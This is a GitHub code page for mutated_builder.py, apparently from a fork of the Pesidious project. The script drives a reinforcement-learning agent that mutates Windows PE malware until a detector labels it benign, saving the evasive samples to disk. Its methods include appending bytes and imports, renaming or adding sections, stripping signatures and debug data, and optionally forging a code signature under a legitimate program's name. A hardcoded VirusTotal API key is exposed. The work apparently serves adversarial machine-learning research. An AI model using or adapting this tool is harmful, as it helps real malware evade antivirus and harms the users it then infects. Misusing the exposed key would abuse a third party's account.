forked from CyberForce/Pesidious
-
Notifications
You must be signed in to change notification settings - Fork 0
/
mutated_builder.py
421 lines (305 loc) · 12.8 KB
/
mutated_builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
# def warn(*args, **kwargs):
# pass
# import warnings
# warnings.warn = warn
# warnings.filterwarnings("ignore")
import sys
import lief # pip install https://github.com/lief-project/LIEF/releases/download/0.7.0/linux_lief-0.7.0_py3.6.tar.gz
import json
import array
import struct # byte manipulations
import random
import tempfile
import subprocess
import functools
import signal
import multiprocessing
import pefile
import hashlib
import os
from pathlib import Path
from os import listdir
from os.path import isfile, join
import numpy as np
from gym_malware.envs.utils import interface, pefeatures2
from gym_malware.envs.controls import manipulate2 as manipulate
import pickle
from gym_malware import sha256_train, sha256_holdout, MAXTURNS
import requests
import json
from collections import defaultdict
from keras.models import load_model
ACTION_LOOKUP = {i: act for i, act in enumerate(manipulate.ACTION_TABLE.keys())}
from chainrl import create_acer_agent
import gym
module_path = os.path.split(os.path.abspath(sys.modules[__name__].__file__))[0]
COMMON_SECTION_NAMES = pickle.load(open(os.path.join(module_path, 'RL_Features/adversarial_sections_set1.pk'), "rb"))
COMMON_IMPORTS = pickle.load(open(os.path.join(module_path, 'RL_Features/adversarial_imports_set1.pk'), "rb"))
section_content = "manipulation_content/section-content.txt"
min_score = 100.0
outputFile = open("rl_out.txt", "w")
def get_latest_model_from(basedir):
dirs = os.listdir(basedir)
lastmodel = -1
for d in dirs:
try:
if int(d) > lastmodel:
lastmodel = int(d)
except ValueError:
continue
assert lastmodel >= 0, "No saved models!"
return os.path.join(basedir, str(lastmodel))
def show_output(line):
# outputFile.write("\t|\n" )
# outputFile.write("\t|\n" )
# outputFile.write("\t--" )
# outputFile.write(line)
# outputFile.write("\n")
print(line)
print("\n")
def evaluate( action_function, pefolder, pefile , show):
global min_score
print("min score : " + str(min_score))
with open(join(pefolder, pefile), "rb") as binfile:
bytez = binfile.read()
label = interface.get_label_local(bytez)
if label == 0.0:
with open("Mutated_malware/" + str(pefile) + "_RLA", 'wb') as file1:
file1.write(bytez)
return
for j in range(160):
action = action_function( bytez )
print(action)
if(action == "overlay_append"):
bytez = overlay_append(bytez, show)
elif(action == "section_rename"):
bytez = section_rename(bytez, show)
elif(action == "add_signature"):
pass
#print("not adding signature")
elif(action == "edit_tls"):
bytez = edit_tls(bytez)
elif(action == "load_config_dir"):
bytez = load_config_dir(bytez)
elif(action == "section_add"):
bytez = section_add(bytez, show)
elif(action == "imports_append"):
bytez = imports_append(bytez, show)
elif(action == "remove_signature"):
bytez = remove_signature(bytez, show)
elif(action == "remove_debug"):
bytez = remove_debug(bytez, show)
#bytez = manipulate.modify_without_breaking( bytez, [action] )
new_label = interface.get_label_local( bytez )
if new_label == 0.0:
score = interface.get_score_local(bytez)
if(score < min_score):
min_score = score
with open("Mutated_malware/" + str(pefile) + "_RLA", 'wb') as file1:
file1.write(bytez)
return
score = interface.get_score_local(bytez)
if(score < min_score):
min_score = score
with open("Mutated_malware/" + str(pefile) + "_RLA", 'wb') as file1:
file1.write(bytez)
def add_imports(pefile, importfile, cpath, outfile):
cmd = './' + cpath + ' ' + pefile + ' ' + importfile + ' ' + outfile
os.system(cmd)
def add_sections(section_app: str, pefile: str, section_file: str, section_content: str, outfile:str):
cmd = './' + section_app + ' ' + pefile + ' ' + section_file + ' ' + section_content + ' ' + outfile
os.system(cmd)
def run_rl(pefolder, pefile, show):
ENV_NAME = 'malware-test-v0'
env = gym.make(ENV_NAME)
fe = pefeatures2.PEFeatureExtractor2()
def agent_policy(agent):
def f(bytez):
feats = fe.extract( bytez )
action_index = agent.act( feats )
return ACTION_LOOKUP[ action_index ]
return f
agent_score = create_acer_agent(env)
# pull latest stored model
last_model_dir = get_latest_model_from('models/acer_score_chainer')
agent_score.load( last_model_dir )
evaluate( agent_policy(agent_score), pefolder, pefile, show )
def __binary_to_bytez(binary, dos_stub=False, imports=False, overlay=False, relocations=False, resources=False, tls=False):
# write the file back as bytez
builder = lief.PE.Builder(binary)
builder.build_dos_stub(dos_stub) # rebuild DOS stub
builder.build_imports(imports) # rebuild IAT in another section
builder.patch_imports(imports) # patch original import table with trampolines to new import table
builder.build_overlay(overlay) # rebuild overlay
builder.build_relocations(relocations) # rebuild relocation table in another section
builder.build_resources(resources) # rebuild resources in another section
builder.build_tls(tls) # rebuilt TLS object in another section
builder.build() # perform the build process
# return bytestring
return array.array('B', builder.get_build()).tobytes()
def __random_length():
return 2**random.randint(5, 8)
def overlay_append(bytez, show):
L = __random_length()
# choose the upper bound for a uniform distribution in [0,upper]
upper = random.randrange(256)
# upper chooses the upper bound on uniform distribution:
# upper=0 would append with all 0s
# upper=126 would append with "printable ascii"
# upper=255 would append with any character
if(show):
show_output("Appended random bytes")
return bytez + bytes([random.randint(0, upper) for _ in range(L)])
def imports_append(bytez, show):
#COMMON_IMPORTS_NAMES = ['ADVAPI32.DLL', 'SHLWAPI.DLL', 'KERNEL32.DLL','USER32.DLL']
importsFile = open("imports.txt" , 'w')
libname = random.choice(list(COMMON_IMPORTS))
while("hal" in libname):
libname = random.choice(list(COMMON_IMPORTS))
while(len(list(COMMON_IMPORTS[libname])) < 20 ):
libname = random.choice(list(COMMON_IMPORTS))
importsFile.write(libname + '\n')
for fun in (list(COMMON_IMPORTS[libname])):
importsFile.write(fun + '\n')
#print('adding import library : ' + libname)
importsFile.close()
with open("modified.exe", 'wb') as file1:
file1.write(bytez)
cmd = " ./portable-executable/project-add-imports/bin/Debug/project-append-import modified.exe imports.txt modified.exe >/dev/null 2>&1"
os.system(cmd)
with open("modified.exe", "rb") as binfile:
bytez = binfile.read()
if(show):
show_output("Added functions from a DLL ")
return bytez
def section_add(bytez, show):
section = random.choice(COMMON_SECTION_NAMES)
with open("modified.exe", 'wb') as file1:
file1.write(bytez)
cmd = "./portable-executable/project-add-sections/bin/Debug/project-append-section modified.exe " + section + " " + section_content + " modified.exe >/dev/null 2>&1"
os.system(cmd)
#print('adding section : ' + section)
with open("modified.exe", "rb") as binfile:
bytez = binfile.read()
if(show):
show_output("Added a section")
return bytez
def section_rename(bytez, show):
# rename a random section
#random.seed(seed)
binary = lief.PE.parse(bytez, name="")
for i in range(0, 10):
targeted_section = random.choice(binary.sections)
targeted_section.name = random.choice(COMMON_SECTION_NAMES)[:7] # current version of lief not allowing 8 chars?
bytez = __binary_to_bytez(binary)
if(show):
show_output("Renamed a section")
return bytez
def remove_signature(bytez, show):
binary = lief.PE.parse(bytez, name="")
if(show):
show_output("Removed signature")
if binary.has_signature:
for i, e in enumerate(binary.data_directories):
if e.type == lief.PE.DATA_DIRECTORY.CERTIFICATE_TABLE:
break
if e.type == lief.PE.DATA_DIRECTORY.CERTIFICATE_TABLE:
# remove signature from certificate table
e.rva = 0
e.size = 0
bytez = __binary_to_bytez(binary)
return bytez
# if no signature found, bytez is unmodified
return bytez
def add_signature(bytez):
with open("modified.exe", 'wb') as file1:
file1.write(bytez)
cmd = "echo 123456 | signcode -spc ~/authenticode.spc -v ~/authenticode.pvk -a sha1 -$ commercial -n putty.exe -i http://www.ms.com/ -t http://timestamp.verisign.com/scripts/timstamp.dll -tr 10 modified.exe"
os.system(cmd)
with open("modified.exe", "rb") as binfile:
bytez = binfile.read()
return bytez
def edit_tls(bytez):
with open("modified.exe", 'wb') as file1:
file1.write(bytez)
cmd = './portable-executable/test-other/bin/edit-tls/test-other modified.exe >/dev/null 2>&1'
os.system(cmd)
with open("modified.exe", "rb") as binfile:
bytez = binfile.read()
return bytez
def load_config_dir(bytez):
with open("modified.exe", 'wb') as file1:
file1.write(bytez)
cmd = './portable-executable/test-other/bin/load-config-dir/test-other modified.exe >/dev/null 2>&1'
os.system(cmd)
with open("modified.exe", "rb") as binfile:
bytez = binfile.read()
return bytez
def remove_debug(bytez, show):
binary = lief.PE.parse(bytez, name="")
if(show):
show_output("Removed Debug Flag")
if binary.has_debug:
for i, e in enumerate(binary.data_directories):
if e.type == lief.PE.DATA_DIRECTORY.DEBUG:
break
if e.type == lief.PE.DATA_DIRECTORY.DEBUG:
# remove signature from certificate table
e.rva = 0
e.size = 0
bytez = __binary_to_bytez(binary)
return bytez
# if no signature found, bytez is unmodified
return bytez
def calculate_hash(bytez):
m = hashlib.sha256()
m.update( bytez )
def virus_total_url(file):
print(file)
url = 'https://www.virustotal.com/vtapi/v2/file/scan'
params = {'apikey': 'bbd8c5dc4df8a8dc4d4c0cd3d9ec38b96471ab711bb71c2e608d45d6430fc328'}
files = {'file': ('myfile.exe', open(file, 'rb'))}
response = requests.post(url, files=files, params=params)
return response.json()["permalink"]
if __name__ == "__main__":
pefolder = sys.argv[1]
#imports = "RL_Features/all_features/imports/imports"
#sections = "RL_Features/all_features/sections/sections"
importApp = "portable-executable/project-add-imports/bin/Debug/project-append-import"
sectionApp = "portable-executable/project-add-sections/bin/Debug/project-append-section"
#importsFiles = [f for f in listdir(imports) if isfile(join(imports, f))]
#sectionsFiles = [f for f in listdir(sections) if isfile(join(sections, f))]
pefiles = [f for f in listdir(pefolder) if isfile(join(pefolder, f))]
sectionContent = "manipulation_content/section-content.txt"
#importsFiles.sort()
#sectionsFiles.sort()
#print(importsFiles)
#print(sectionsFiles)
filenum = 0
for pefile in pefiles:
print("file number : " + str(filenum))
filenum = filenum + 1
min_score = 100.0
malware = 0
run_rl(pefolder, pefile, True)
for i in range(0, 3):
# if(i == 0):
# print("Extracting Features .....\n")
# elif(i==1):
# print("Generating Adversarial Features .....\n")
# else:
# print("Running RL Agent .....\n")
# if(i == 2):
print("turn : " + str(i))
run_rl(pefolder, pefile, True)
# else:
# run_rl(pefolder, pefile, False)
# print("Uploading to VirusTotal .... \n")
# original_url = virus_total_url(join(pefolder, pefile))
# mutated_url = virus_total_url("Mutated_malware/" + str(pefile) + "_RLA")
# print()
# print(mutated_url)
# print("file numbr : " + str(importsFiles[i][:2]))
# add_imports(join(pefolder, pefile), join(imports, importsFiles[i]), importApp, "Mutated_malware/" + str(pefile) + "_GAN_" + str(importsFiles[i][:2]))
# add_sections(sectionApp, "Mutated_malware/" + str(pefile) + "_GAN_" + str(importsFiles[i][:2]), join(sections, sectionsFiles[i]), sectionContent ,"Mutated_malware/" + str(pefile) + "_GAN_" + str(importsFiles[i][:2]))
# malware = malware + 1